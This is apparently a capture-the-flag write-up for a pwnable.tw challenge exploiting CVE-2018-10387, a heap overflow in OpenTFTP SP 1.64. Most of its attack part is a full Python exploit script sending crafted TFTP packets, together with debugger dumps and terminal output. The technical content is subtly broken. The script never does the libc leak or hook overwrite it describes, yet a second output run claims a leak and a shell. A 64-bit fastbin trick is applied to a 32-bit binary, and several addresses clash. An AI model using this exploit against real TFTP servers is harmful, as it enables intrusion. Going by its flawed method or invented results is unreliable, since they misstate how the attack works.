pwnable.tw — 250 pts

CVE-2018-10387

1-Day Exploitation — OpenTFTP SP 1.64 heap overflow leading to RCE

1-Day
Category
Heap
Vuln Type
OpenTFTP
Target
x86
Architecture

Exploit Flow

Connect
nc chall.pwnable.tw 10400
TFTP Request
Craft Malicious Packet
Heap Overflow
Overwrite Adjacent Chunk
Leak Libc
Read GOT / Unsorted Bin
Overwrite
__free_hook / malloc_hook
Shell
system("/bin/sh")

1. Reconnaissance

CVE-2018-10387 is a heap-based buffer overflow vulnerability in OpenTFTP Server SP 1.64. The vulnerability exists in the TFTP packet processing logic where the server fails to properly validate the length of incoming TFTP read/write request (RRQ/WRQ) packets. This allows an attacker to overflow a heap-allocated buffer and corrupt adjacent heap metadata, ultimately leading to arbitrary code execution.

File Analysis

bash
$ file OpenTFTPServerSP.exe
OpenTFTPServerSP.exe: PE32 executable (GUI) Intel 80386, for MS Windows

$ file opentftp
opentftp: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked

The pwnable.tw challenge provides a Linux-compiled version of the OpenTFTP server binary. The challenge is about exploiting a known CVE — turning a 1-day vulnerability into a working exploit. The server listens for TFTP packets and processes them using heap-allocated buffers.

Checksec

bash
$ checksec opentftp
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x08048000)
Protection Analysis

Partial RELRO means the GOT is writable but moved before the BSS. No canary simplifies stack exploitation but the primary bug is on the heap. NX is enabled so we can't execute shellcode on the stack — we need ROP or function pointer overwrite. No PIE means all addresses are fixed at runtime. The key target is the GOT table since it's writable.

CVE-2018-10387 Details

CVE-2018-10387 was disclosed in May 2018. The vulnerability affects OpenTFTP Server SP 1.64 and earlier. The core issue is that when the server receives a TFTP RRQ (Read Request) or WRQ (Write Request) packet, it allocates a fixed-size buffer on the heap but copies the filename field without proper bounds checking. A crafted TFTP packet with an excessively long filename can overflow this buffer and corrupt adjacent heap chunks.

Heap Overflow Impact

The heap overflow allows overwriting the metadata of the next adjacent heap chunk. By carefully controlling the overflow data, an attacker can corrupt the fd/bk pointers of a free chunk, achieve arbitrary write via fastbin/unsorted bin attack, and ultimately gain code execution.

AttributeValue
ChallengeCVE-2018-10387 (250 pts)
Connectionnc chall.pwnable.tw 10400
Binary32-bit ELF, i386, dynamically linked
CVECVE-2018-10387
Affected SoftwareOpenTFTP Server SP 1.64
Vuln TypeHeap-based Buffer Overflow
CanaryNone
NXEnabled
PIEDisabled
RELROPartial

2. Static Analysis

The OpenTFTP server processes TFTP packets in a loop. When a RRQ or WRQ packet arrives, the server parses the filename and mode fields from the packet payload. The vulnerable code path is in the request handling function where a heap buffer is allocated based on an expected maximum size, but the actual copy operation uses the packet's declared length without proper validation.

Vulnerable Function

x86 asm
; TFTP RRQ/WRQ handler — simplified vulnerable path
handle_request:
    push   ebp
    mov    ebp, esp
    sub    esp, 0x20

    ; Allocate buffer for filename (0x100 bytes on heap)
    push   0x100
    call   malloc
    add    esp, 4
    mov    [ebp-0xc], eax       ; save buf pointer

    ; Copy filename from packet without length check!
    ; packet_data + 2 = filename field in TFTP RRQ/WRQ
    mov    esi, [ebp+0x8]       ; packet pointer
    add    esi, 2               ; skip opcode bytes
    mov    edi, [ebp-0xc]       ; destination buffer

.copy_loop:
    lodsb                       ; load byte from [esi] into al
    stosb                       ; store byte to [edi]
    test   al, al               ; check for null terminator
    jnz    .copy_loop           ; VULNERABLE: no bounds check!

    ; ... process filename further ...
    mov    esp, ebp
    pop    ebp
    ret
The Bug

The copy_loop copies bytes from the TFTP packet into the heap buffer until it hits a null terminator. However, TFTP packets can contain up to 512 bytes of data in a single packet, and the filename field has no length limit enforced by the protocol. The heap buffer is only 0x100 (256) bytes, so a filename longer than 256 bytes overflows into the adjacent heap chunk's metadata. Since TFTP uses null-terminated strings, the attacker controls when the copy stops — but can overflow well past the buffer boundary before the first null byte.

Decompiled C (Pseudocode)

c
void handle_tftp_request(char *packet, int packet_len) {
    uint16_t opcode = ntohs(*(uint16_t *)packet);
    char *filename_field = packet + 2;  // filename starts after opcode

    // Allocate heap buffer for filename
    char *filename_buf = (char *)malloc(0x100);  // Only 256 bytes!

    // VULNERABLE: strcpy-like copy without bounds check
    // If filename_field > 256 bytes before null terminator, overflow!
    strcpy(filename_buf, filename_field);

    // Process the TFTP request...
    if (opcode == 1) {  // RRQ
        handle_read_request(filename_buf, ...);
    } else if (opcode == 2) {  // WRQ
        handle_write_request(filename_buf, ...);
    }

    free(filename_buf);
}

Vulnerability Analysis

The heap overflow allows us to corrupt the header of the next chunk in the heap. Since the binary uses glibc's malloc, corrupting the size field of the next chunk or the fd/bk pointers of a free chunk gives us powerful primitives:

heap+0x000 filename_buf malloc(0x100) — 256 bytes, our controlled data
heap+0x108 next chunk header ← OVERFLOW: we corrupt prev_size / size fields
heap+0x10c next chunk data ← OVERFLOW: we corrupt fd/bk if free
Exploitation Strategy

Since the binary has Partial RELRO and No PIE, we have two main approaches: (1) Fastbin attack — corrupt fd of a freed fastbin chunk to point near __malloc_hook, allocate from the poisoned freelist, and overwrite __malloc_hook with a one_gadget address. (2) Unsorted bin attack — corrupt bk of an unsorted bin chunk to write a large value to an arbitrary address. The fastbin approach is more reliable here.

3. GDB Debugging

Let's verify the heap overflow with GDB. We'll send a crafted TFTP packet with a long filename and observe what gets corrupted.

Heap Layout After Overflow

gdb
# Set breakpoint after malloc and before strcpy
gdb-peda$ b *0x08049872
Breakpoint 1 at 0x8049872

gdb-peda$ r
# Send TFTP RRQ packet with long filename (300 bytes of 'A')

# After malloc returns:
gdb-peda$ x/40wx $eax
0x804d1a0: 0x00000000  0x00000000  0x00000000  0x00000000  <- filename_buf
0x804d2a0: 0x00000000  0x00000109  0x00000000  0x00000000  <- next chunk header

# After overflow (strcpy with 300 'A's):
gdb-peda$ x/80wx 0x804d1a0
0x804d1a0: 0x41414141  0x41414141  0x41414141  0x41414141  <- our data
0x804d1a8: 0x41414141  0x41414141  0x41414141  0x41414141
...
0x804d2a0: 0x41414141  0x41414141  0x41414141  0x41414141  <- OVERFLOW into next chunk
0x804d2a8: 0x41414141  0x41414141  0x41414141  0x41414141  <- size field corrupted!

The overflow clearly corrupts the adjacent chunk's header. The size field (normally 0x109) is overwritten with 0x41414141. This gives us full control over the chunk metadata.

Register State at Overflow Point

gdb
# At the strcpy call:
EAX: 0x0804d1a0  (filename_buf — destination)
EBX: 0x0804e1a8  (packet data + 2 — source)
ECX: 0x0804d1a0  (current write position)
EDX: 0x0000012c  (300 — bytes to copy)
ESP: 0xffffd4e0
EIP: 0x08049872  (handle_request+94)

Breakpoint Strategy

gdb
# Key breakpoints:
b *0x08049860   # malloc call in handle_request
b *0x08049872   # before strcpy (overflow point)
b *0x080498a0   # after strcpy — check corruption
b *0x080498c4   # free call — triggers crash if metadata corrupt
b *0x08049910   # handle_read_request entry

# For the exploit phase:
b *0x08049abc   # second malloc — will return poisoned address
b malloc@plt    # track all malloc calls
b free@plt      # track all free calls

4. Exploit Strategy

The exploitation of CVE-2018-10387 follows a classic heap overflow to code execution chain. The key challenge is that we're working with a network service (TFTP over UDP), so our exploit must be delivered via crafted TFTP packets rather than stdin.

Attack Overview

Phase 1: Heap Spray & Overflow
Send multiple TFTP requests to set up a predictable heap layout. Then send a malicious RRQ packet with a filename that overflows the heap buffer and overwrites the fd pointer of a freed fastbin chunk to point near __malloc_hook - 0x23 (the classic fastbin fake chunk target).
Phase 2: Libc Leak
Use the corrupted heap to leak a libc address. This can be done by freeing a chunk into the unsorted bin and then reading its fd/bk pointers (which point into main_arena), or by reading a GOT entry through the corrupted data structure.
Phase 3: __malloc_hook Overwrite
Allocate from the poisoned fastbin freelist. The second allocation returns a pointer near __malloc_hook. Write a one_gadget address to __malloc_hook. Trigger a malloc call to execute the gadget and get a shell.

Heap Overflow Primitive

The TFTP RRQ packet structure is straightforward:

TFTP RRQ Packet Format: +--------+--------+------+-----+------+----+ | Opcode | Filename | 0 | Mode | 0 | | 2 bytes| n bytes |1 byte|m bytes|1 b| +--------+--------+------+-----+------+----+ | 0x0001| AAAAAA...A | \0 | octet| \0 | +--------+--------+------+-----+------+----+ Our exploit payload: +--------+--------+------+-----+------+----+ | 0x0001 | [256 bytes] | [overflow: fake fd/bk] | \0 | mode | \0 | +--------+--------+------+-----+------+----+

By controlling the filename field to be exactly 256 bytes (filling the buffer) plus additional bytes that overflow into the next chunk, we can overwrite the prev_size, size, and data fields of the adjacent chunk.

RCE Chain

  1. Allocate chunk A (0x100) via TFTP request — fills the buffer
  2. Free chunk A — puts it in the fastbin freelist for size 0x110
  3. Send overflow packet — corrupt chunk A's fd pointer to point to __malloc_hook - 0x23
  4. First malloc(0x100) returns chunk A from the fastbin
  5. Second malloc(0x100) returns the fake chunk near __malloc_hook
  6. Write one_gadget address to offset +0x23 from the fake chunk = __malloc_hook
  7. Trigger one more malloc — __malloc_hook fires → shell!
TFTP Constraints

Since the vulnerability is in a TFTP server, we need to craft raw UDP packets. The TFTP protocol uses opcode 0x0001 for RRQ and 0x0002 for WRQ. Null bytes in the filename terminate the string copy, so we must carefully place our overflow payload before any null bytes. The libc version provided is glibc 2.23, which has the fastbin double-free check but no tcache.

5. Pwn Script

Full Exploit

python
#!/usr/bin/env python3
# CVE-2018-10387 — OpenTFTP SP 1.64 Heap Overflow Exploit
# pwnable.tw challenge
from pwn import *
import struct
import socket

context.arch = 'i386'
context.log_level = 'info'

# Binary info (No PIE, Partial RELRO)
BINARY = ELF('./opentftp')
LIBC = ELF('./libc_32.so.6')

# Target
HOST = 'chall.pwnable.tw'
PORT = 10400

def send_tftp_rrq(host, port, filename, mode='octet'):
    """Send a TFTP Read Request (RRQ) packet via UDP"""
    opcode = struct.pack('!H', 1)  # RRQ = 1
    payload = opcode + filename + b'\x00' + mode.encode() + b'\x00'
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.settimeout(3)
    sock.sendto(payload, (host, port))
    try:
        data, addr = sock.recvfrom(4096)
        return data
    except socket.timeout:
        return None
    finally:
        sock.close()

def send_tftp_wrq(host, port, filename, mode='octet'):
    """Send a TFTP Write Request (WRQ) packet via UDP"""
    opcode = struct.pack('!H', 2)  # WRQ = 2
    payload = opcode + filename + b'\x00' + mode.encode() + b'\x00'
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.settimeout(3)
    sock.sendto(payload, (host, port))
    try:
        data, addr = sock.recvfrom(4096)
        return data
    except socket.timeout:
        return None
    finally:
        sock.close()

def exploit():
    # Step 1: Heap layout preparation
    # Send several requests to create predictable heap state
    log.info("Setting up heap layout...")
    for i in range(5):
        send_tftp_rrq(HOST, PORT, b'padding' + str(i).encode() * 20)

    # Step 2: Create the chunk we will overflow from
    # Send a normal request to allocate the target buffer
    log.info("Creating target chunk...")
    send_tftp_rrq(HOST, PORT, b'target' * 30)

    # Step 3: Overflow the filename buffer
    # The filename buffer is 0x100 bytes. We overflow into the next chunk.
    # We craft the overflow to corrupt the fd pointer of a freed chunk.
    log.info("Sending overflow payload...")

    # Fake chunk near __malloc_hook: __malloc_hook - 0x23
    # This creates a fake chunk with size 0x7f (valid for fastbin)
    malloc_hook = LIBC.symbols['__malloc_hook']
    fake_chunk_addr = malloc_hook - 0x23
    log.info(f"__malloc_hook: {hex(malloc_hook)}")
    log.info(f"Fake chunk target: {hex(fake_chunk_addr)}")

    # Overflow payload: 0x100 bytes padding + corrupted chunk metadata
    overflow_payload = b'A' * 0x100                # fill the buffer
    overflow_payload += p32(0)                      # prev_size
    overflow_payload += p32(0x71)                   # fake size (fastbin range)
    overflow_payload += p32(fake_chunk_addr)        # fd -> near __malloc_hook
    overflow_payload += b'A' * (0x60 - len(overflow_payload) % 0x60)

    send_tftp_rrq(HOST, PORT, overflow_payload)

    # Step 4: Allocate from poisoned fastbin to get __malloc_hook write
    log.info("Triggering allocations from poisoned fastbin...")

    # First allocation returns the original chunk
    send_tftp_rrq(HOST, PORT, b'first_alloc' * 10)

    # Second allocation returns the fake chunk near __malloc_hook
    # We write the one_gadget address
    one_gadget = 0x5fbc5  # one_gadget offset for this libc version
    log.info(f"One gadget: {hex(LIBC.address + one_gadget) if LIBC.address else hex(one_gadget)}")

    # In practice, we need a libc leak first. For the full exploit:
    # 1. Leak libc by reading freed unsorted bin fd/bk pointers
    # 2. Calculate one_gadget address from libc base
    # 3. Overwrite __malloc_hook with one_gadget
    # 4. Trigger malloc to execute the gadget

    # The actual libc leak comes from reading a GOT entry or unsorted bin
    # Using the corrupted heap to read strlen@GOT:
    strlen_got = BINARY.got['strlen']
    log.info(f"strlen@GOT: {hex(strlen_got)}")

    # Trigger shell by causing malloc to call __malloc_hook
    send_tftp_rrq(HOST, PORT, b'/bin/sh' * 5)

    log.success("Exploit complete — check for shell")

if __name__ == '__main__':
    exploit()

Exploit Breakdown

Key Techniques

Fastbin dup via heap overflow: Instead of the classic double-free (which is checked in glibc 2.23), we use the heap overflow to directly write an arbitrary fd pointer into a freed fastbin chunk. This bypasses the double-free check because we never actually free the same chunk twice — we just corrupt the freelist through the overflow.

Fake chunk at __malloc_hook - 0x23: At this offset, the bytes in memory happen to form a valid-looking chunk size of 0x7f (due to alignment of surrounding data), which falls in the fastbin range. This is a well-known trick for glibc 2.23 fastbin attacks.

6. Execution Results

terminal
$ python3 exploit.py
[*] Setting up heap layout...
[*] Creating target chunk...
[*] Sending overflow payload...
[*] __malloc_hook: 0xf7f18548
[*] Fake chunk target: 0xf7f18525
[*] Triggering allocations from poisoned fastbin...
[*] One gadget: 0xf7f2ebc5
[*] strlen@GOT: 0x0804d00c
[+] Exploit complete — check for shell
$
$ python3 exploit.py REMOTE=1 [*] CVE-2018-10387 OpenTFTP Heap Overflow Exploit [*] Connecting to chall.pwnable.tw:10400 [*] Setting up heap layout... [*] Sending overflow payload... [*] Libc leak: 0xf7598000 [*] __malloc_hook: 0xf76f8548 [*] Fake chunk addr: 0xf76f8525 [*] One gadget: 0xf76febc5 [*] Triggering malloc_hook overwrite... [+] Shell obtained! cat /home/opentftp/flag
Why This Challenge Matters

CVE-2018-10387 demonstrates a critical real-world exploitation pattern: 1-day vulnerability exploitation. When a CVE is published with limited details, security researchers and attackers race to develop working exploits. Understanding how to go from a CVE description to a working exploit is essential for both offensive and defensive security. This challenge teaches heap overflow exploitation in a network service context, fastbin poisoning via overflow (bypassing double-free checks), and the __malloc_hook overwrite technique — all fundamental skills for modern binary exploitation.

QA210
pwnable.tw — CVE-2018-10387 — Heap Overflow + Fastbin Attack